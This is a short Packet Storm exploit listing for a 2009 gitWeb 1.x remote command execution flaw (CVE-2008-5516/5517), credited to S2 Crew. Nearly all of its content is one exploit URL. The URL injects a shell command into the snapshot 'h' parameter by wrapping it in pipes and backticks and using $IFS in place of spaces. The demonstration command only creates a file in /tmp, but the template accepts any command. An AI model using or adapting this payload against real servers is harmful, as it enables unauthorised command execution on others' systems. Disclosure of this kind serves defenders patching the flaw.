gitWeb version 1.x suffers from a remote command execution vulnerability.
531316ccb2f446d689c4ea64b60d34f3712be9d3316b609fe811614dc7b64166
# Exploit Title: gitWeb remote command execution
# Date: 2009.06.19
# Author: S2 Crew [Hungary]
# Software Link: -
# Version: GIT 1.X
# Tested on: debian linux, GIT 1.5.2
# CVE: CVE-2008-5516 - CVE-2008-5517
# Code:
http://target/cgi-bin/gitweb2.cgi?p=workspace/.git;a=snapshot;f=.svn/prop-base/CHANGELOG.svn-base;h=7b57b302a4f016c8afdce6dc2df9e831460ccd82|`touch$IFS/tmp/aap`|;hb=10b50960665569a2e8b9588d60a66303c8e359f2
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed